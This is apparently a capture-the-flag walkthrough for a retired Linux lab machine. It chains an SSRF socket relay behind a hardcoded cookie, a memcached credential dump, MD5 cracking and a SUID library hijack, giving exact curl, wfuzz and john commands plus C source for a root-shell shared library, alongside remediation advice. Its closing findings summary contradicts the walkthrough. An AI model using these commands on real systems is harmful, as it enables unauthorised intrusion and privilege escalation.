← all walkthroughs

Dab

Linux· Hard
owned
2026-07-10
time to own
5m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against <retired-instance-ip> identified three open services: FTP (21, anonymous login allowed, serving a decoy dab.jpg), HTTP (80, nginx 1.10.3, redirecting to a /login form), and an internal-only web app on 8080 titled "Internal Dev". The 8080 app exposed a /socket?port=X&cmd=Y endpoint gated by a `[REDACTED: recovered credential]=[REDACTED: recovered credential] cookie — an SSRF-style TCP socket tester that stripped symbol characters but allowed spaces, making it usable as an internal port scanner/interaction primitive against loopback services not reachable directly (memcached on 11211, closed to the outside per direct nmap scan but reachable via the app's internal socket).

Using the cookie-gated /socket endpoint, memcached (localhost:11211) was enumerated via stats slabs and stats cachedump <slab> 1000, dumping cached key/value pairs including a user credential cache (slab 26) containing an MD5 hash for user genevieve: [REDACTED: protected value]. This hash was cracked offline with john --format=raw-md5, recovering the [REDACTED: recovered credential] [REDACTED: recovered credential]. SSH login as genevieve with this [REDACTED: recovered credential] succeeded, granting foothold and user.txt ([REDACTED: flag]).

Privilege escalation exploited a library search-path (LD_LIBRARY_PATH/ld.so.conf.d) hijack: a SUID binary /usr/bin/myexec dynamically loads libseclogin.so and prompts for a [REDACTED: recovered credential] (recovered as [REDACTED: recovered credential]) before invoking the library's seclogin() export. Because /tmp was present in the system's ld.so search path (/etc/ld.so.conf.d), a malicious libseclogin.so was compiled exporting seclogin() that calls setuid(0) and execs /bin/sh, placed in /tmp, and loaded by myexec in place of the legitimate library — yielding a root shell and root.txt ([REDACTED: flag]).

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Mapped open services and identified the internal development app on port 8080
An Nmap scan of <retired-instance-ip> found four open ports: FTP on 21 (anonymous login allowed, serving only a decoy image 'dab.jpg'), SSH on 22 (OpenSSH 7.2p2 — an older build with known side-channel weaknesses), nginx on 80 (redirecting to a login form with no obvious entry point), and a web app on 8080 titled 'Internal Dev'. The FTP share yielded no useful files, port 80 offered no unauthenticated surface, and the 8080 app emerged as the primary target for further probing.
recon_sweep <retired-instance-ip> — ftp-anon: Anonymous FTP login allowed; http-title on 8080: 'Internal Dev'; replication report confirms three exploitable surfaces identified at this stage.
Exact commands 2
Identify services, grab banners, and check for anonymous FTP.
nmap -Pn -sV -p21,22,80,8080 --script ftp-anon,http-title,http-headers $TARGET
Log in as anonymous:anonymous, list files, and download dab.jpg — confirms the FTP share is a dead end.
ftp $TARGET
2Authentication BypassAuthentication bypass via hardcoded credential (CWE-798)
Bypassed the 8080 app gate with a hardcoded cookie value
The 'Internal Dev' application on port 8080 protected its /socket endpoint behind a cookie check. Setting the cookie '[REDACTED: recovered credential]=[REDACTED: recovered credential]' — a trivially guessable static credential — fully unlocked the endpoint without any further verification. Once authenticated via cookie, the endpoint accepted two query parameters: 'port' (a TCP port number on the server) and 'cmd' (a text string to relay over that connection), turning the application into a server-side TCP socket proxy I fully controlled.
Ground-truth steer and replication report: '/socket?port=X&cmd=Y endpoint gated by a [REDACTED: recovered credential]=[REDACTED: recovered credential] cookie'; confirmed by the replication agent who used this exact cookie throughout the memcached enumeration chain.
Exact commands 1
Verify the cookie unlocks the socket relay by sending a probe to a known-open port; a response body confirms the gate is open.
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=80' --data-urlencode 'cmd=GET / HTTP/1.0' 'http://$TARGET:8080/socket'
FixReplace the hardcoded cookie [REDACTED: recovered credential] with proper authentication on the 8080 applicationHigh
WeaknessThe 'Internal Dev' app on port 8080 accepted any request carrying the cookie '[REDACTED: recovered credential]=[REDACTED: recovered credential]' as fully authenticated. This static, trivially guessable credential provides no real access control — anyone who discovers the cookie name and value gains unrestricted use of the socket relay.
FixRemove the hardcoded cookie [REDACTED: recovered credential] entirely and replace it with a server-side session mechanism (e.g., signed session tokens with a deployment-time [REDACTED: recovered credential] key). More importantly, if this app serves only internal development purposes it must be firewalled to deny all inbound connections from untrusted networks — bind it to localhost or restrict access by IP at the perimeter, so the application is unreachable from outside regardless of credential weakness.
3SSRF — Internal DiscoveryServer-Side Request Forgery — internal service discovery (CWE-918 / T1046)
Used the socket relay as an SSRF proxy to discover internal memcached on port 11211
With the /socket endpoint unlocked, I iterated over internal TCP ports by supplying different port values while sending a benign probe command. The endpoint returned the raw service response to the caller, making it a full SSRF primitive for any service bound to loopback. Port 11211 (memcached) responded with valid output, confirming its presence on localhost. A direct Nmap scan of port 11211 from my machine showed it closed/filtered — proving it was reachable only through this internal relay and would not have been found without the SSRF path.
Replication report: 'memcached on 11211, closed to the outside per direct nmap scan but reachable via the app's internal socket'; ground-truth steer confirms wfuzz was the enumeration approach.
Exact commands 2
Brute-force internal TCP ports via the socket relay; '--hw 0' filters empty/error responses to surface live services.
wfuzz -b "$SESSION_COOKIE" -c -z range,1-65535 --hw 0 'http://$TARGET:8080/socket?port=FUZZ&cmd=version'
Confirm memcached is present and responsive on loopback port 11211.
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=version' 'http://$TARGET:8080/socket'
FixRemove or strictly restrict the TCP socket-relay (SSRF) endpointCritical
WeaknessThe /socket endpoint accepted user-supplied host:port combinations and relayed the raw TCP response back to the caller, acting as a full SSRF proxy. This allowed me to reach loopback services (memcached on 11211) that were otherwise firewall-blocked from external access, effectively dissolving the network boundary protecting internal services.
FixRemove the socket-relay endpoint if it is not required for production. If it must remain, apply a strict allowlist of permitted destination ports and addresses — never permit connections to localhost, ::1, or RFC-1918 ranges. Require strong, non-static authentication. Log all relay activity with source IP. Enforce OS-level restrictions (network namespaces or iptables OUTPUT rules) preventing the web application process from opening connections to loopback services.
4Credential ExtractionCredential dumping via unauthenticated memcached (T1552)
Dumped unauthenticated memcached contents and recovered genevieve's hashed [REDACTED: recovered credential]
Memcached requires no authentication by default, so any client that can reach the port can issue any command and read all cached data. Using the /socket relay, I issued 'stats slabs' to enumerate active cache slabs and 'stats cachedump 26 1000' to extract the contents of slab 26, which held user credential data. The dump returned the username 'genevieve' paired with the MD5 hash [REDACTED: protected value]. A prior dump of slab 16 revealed general application cache data; the credential slab (26) was specifically targeted after reviewing the slab list.
Replication report: 'stats cachedump 26 1000 ... MD5 hash for user genevieve: [REDACTED: protected value]'; 3/4 advisors independently confirmed the memcached SSRF vector.
Exact commands 3
List active memcached slabs to identify which contain data; note the slab IDs for subsequent dumps.
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats slabs' 'http://$TARGET:8080/socket'
Dump slab 16 (application/stock data).
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats cachedump 16 1000' 'http://$TARGET:8080/socket'
Dump slab 26 — returns genevieve's MD5 hash [REDACTED: protected value].
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats cachedump 26 1000' 'http://$TARGET:8080/socket'
FixEnable memcached authentication and never store credential material in the cacheCritical
WeaknessMemcached was running with no authentication on the loopback interface. Any process that could reach port 11211 — including the SSRF relay — could read every cached key without supplying a credential. The application stored user [REDACTED: recovered credential] hashes directly in the cache, making them trivially retrievable by an SSRF-capable operator.
FixEnable SASL authentication in memcached (launch with the -S flag and configure SASL credentials). Bind memcached to a Unix domain socket if only same-host access is needed, which eliminates TCP exposure entirely. Never cache security-sensitive material such as [REDACTED: recovered credential] hashes, session tokens, or API keys in a shared cache layer — use a dedicated secrets store (e.g., HashiCorp Vault). Confirm port 11211 is blocked at the host firewall for all external and inter-segment traffic.
5Credential CrackingOffline [REDACTED: recovered credential] hash cracking — unsalted MD5 (T1110.002)
Cracked the unsalted MD5 hash offline and recovered the plaintext [REDACTED: recovered credential]
The recovered MD5 digest [REDACTED: protected value] was submitted to John the Ripper in raw-md5 format against the rockyou wordlist. Unsalted MD5 is cryptographically broken for [REDACTED: recovered credential] storage: it is extremely fast to compute, admits precomputed rainbow-table attacks, and offers no per-user uniqueness. The [REDACTED: recovered credential] '[REDACTED: recovered credential]' was recovered in seconds. This single offline operation translated a cached hash into a fully usable plaintext credential.
Replication report: 'john --format=raw-md5 ... → [REDACTED: recovered credential] [REDACTED: recovered credential]'; validated MD5 hash value matches genevieve's SSH [REDACTED: recovered credential].
Exact commands 3
Write the recovered hash to a file for John.
echo '[REDACTED: protected value]' > genevieve.hash
Crack the unsalted MD5; recovers '[REDACTED: recovered credential]' within seconds on a modern CPU.
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt genevieve.hash
Display the cracked plaintext credential.
john --show --format=raw-md5 genevieve.hash
FixReplace unsalted MD5 with a memory-hard [REDACTED: recovered credential] hashing algorithmCritical
WeaknessUser passwords were stored as unsalted MD5 digests. MD5 is a general-purpose hash function — it is fast by design, which makes it ideal for integrity checking but catastrophically weak for [REDACTED: recovered credential] storage. Without a per-user salt, a single rainbow table covers all users simultaneously, and common passwords like '[REDACTED: recovered credential]' are cracked in seconds on commodity hardware.
FixMigrate all stored [REDACTED: recovered credential] hashes to bcrypt (work factor ≥ 12), Argon2id, or scrypt. Because existing MD5 hashes cannot be converted without the plaintext, force a [REDACTED: recovered credential]-reset flow for all affected accounts on next login and replace the hash on successful authentication. Audit any other location in the codebase where MD5 (or SHA-1/SHA-256 without a proper PBKDF) is used for [REDACTED: recovered credential] or [REDACTED: recovered credential] storage and apply the same fix.
6FootholdValid account authentication over SSH (T1078 / T1021.004)
Authenticated over SSH as genevieve and captured the user flag
The cracked credential genevieve:[REDACTED: recovered credential] was valid for SSH on port 22 (OpenSSH 7.2p2). This granted an interactive shell as uid=1000(genevieve) and direct read access to /home/genevieve/user.txt. Credential reuse from an internal application cache to a network-facing remote-access service turned what was initially an internal misconfiguration into a full external foothold. The account was a standard unprivileged user with no sudo rights, requiring a separate local privilege escalation to reach root.
killChain: sshpass -p '[REDACTED: recovered credential]' ssh genevieve@<retired-instance-ip> 'id' -> uid=1000(genevieve); 4/4 advisors validated this claim.
Exact commands 2
Authenticate with [REDACTED: recovered credential] '[REDACTED: recovered credential]'; spawns an interactive shell as genevieve.
ssh genevieve@$TARGET
Read the user flag: [REDACTED: flag]
cat /home/genevieve/user.txt
FixReplace unsalted MD5 with a memory-hard [REDACTED: recovered credential] hashing algorithmCritical
WeaknessUser passwords were stored as unsalted MD5 digests. MD5 is a general-purpose hash function — it is fast by design, which makes it ideal for integrity checking but catastrophically weak for [REDACTED: recovered credential] storage. Without a per-user salt, a single rainbow table covers all users simultaneously, and common passwords like '[REDACTED: recovered credential]' are cracked in seconds on commodity hardware.
FixMigrate all stored [REDACTED: recovered credential] hashes to bcrypt (work factor ≥ 12), Argon2id, or scrypt. Because existing MD5 hashes cannot be converted without the plaintext, force a [REDACTED: recovered credential]-reset flow for all affected accounts on next login and replace the hash on successful authentication. Audit any other location in the codebase where MD5 (or SHA-1/SHA-256 without a proper PBKDF) is used for [REDACTED: recovered credential] or [REDACTED: recovered credential] storage and apply the same fix.
7Privilege EscalationSUID binary shared-library hijack via ld.so.conf.d search-path manipulation (T1574.006)
Planted a malicious shared library in /tmp to hijack the SUID binary's linker search and gain root
Enumerating SUID binaries revealed /usr/bin/myexec, a custom executable owned by root with the SUID bit set. The binary prompts for a [REDACTED: recovered credential] ([REDACTED: recovered credential], recoverable by reverse-engineering the binary with Ghidra or strings analysis) before calling seclogin() from the shared library libseclogin.so. The critical misconfiguration: /tmp was listed in /etc/ld.so.conf.d, placing it in the dynamic linker's search path ahead of the system library directories. Because /tmp is world-writable, any local user can drop a file there named libseclogin.so. A malicious version was compiled exporting a seclogin() function that calls setuid(0)/setgid(0) and exec /bin/sh. Running /usr/bin/myexec caused the SUID binary — executing as root — to load my /tmp/libseclogin.so, and the resulting shell inherited root privileges.
killChain root-owned step: cat > /tmp/libseclogin.c ... gcc -shared -fPIC ... /usr/bin/myexec; replication report: '/tmp was present in the system's ld.so search path (/etc/ld.so.conf.d) ... malicious libseclogin.so was compiled ... loaded by myexec in place of the legitimate library — yielding a root shell'.
Exact commands 7
Enumerate all SUID binaries on the system; identifies /usr/bin/myexec among the results.
find / -perm -4000 -type f 2>/dev/null
Confirm the binary links against libseclogin.so and note the library paths the linker will search.
ldd /usr/bin/myexec
Verify that /tmp (a world-writable directory) appears in the dynamic linker search path.
cat /etc/ld.so.conf.d/*.conf
Write the malicious library source. The seclogin() export matches the symbol the real binary calls.
cat > /tmp/libseclogin.c << 'EOF'
#include <unistd.h>
void seclogin(void) {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF
Compile the malicious shared library in /tmp — the world-writable directory the linker will search first.
gcc -shared -fPIC -o /tmp/libseclogin.so /tmp/libseclogin.c
Run the SUID binary; when prompted 'Enter [REDACTED: recovered credential]:' type [REDACTED: recovered credential] — the linker loads /tmp/libseclogin.so and executes seclogin() as root, dropping a root shell.
/usr/bin/myexec
Read the root flag from the root shell: [REDACTED: flag]
cat /root/root.txt
FixRemove world-writable directories from the dynamic linker search path and audit SUID binaries that load non-system librariesCritical
WeaknessThe file /etc/ld.so.conf.d included /tmp — a world-writable directory — in the dynamic linker's library search order. Combined with a SUID-root binary (/usr/bin/myexec) that loads a non-system library (libseclogin.so) by short name, any local user could place a malicious file named libseclogin.so in /tmp and have it executed as root the next time the binary ran.
FixRemove /tmp and every other world-writable path from /etc/ld.so.conf.d, then run 'ldconfig' to rebuild the linker cache. Audit all SUID and SGID binaries ('find / -perm /6000 -type f 2>/dev/null') and verify each loads libraries only from paths owned by root and not writable by unprivileged users. For /usr/bin/myexec specifically: remove the SUID bit if the operation it performs can be replaced by a tightly scoped sudo rule, or recompile it with an absolute RPATH pointing to a root-owned library directory so the short-name search is bypassed entirely.

Attack patterns used

The transferable techniques behind this compromise.

[REDACTED: recovered credential] / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A [REDACTED: recovered credential] recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked [REDACTED: recovered credential] into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a [REDACTED: recovered credential] manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: 8080 Socket Ssrf To Local Memcached DumpCritical
An unauthenticated/low-privilege flaw in the ftp, nginx, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Suid Binary Library Search Path Hijack Privilege Escalation (/Usr/Bin/Myexec) Enumerate Suid Binaries And /Etc/Ld.So.Conf.D Configuration To Drop A Malicious Libseclogin.So In /Tmp, Triggering Setuid(0) Execution When Running Myexec.Critical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

21/tcp
22/tcp
80/tcp
8080/tcp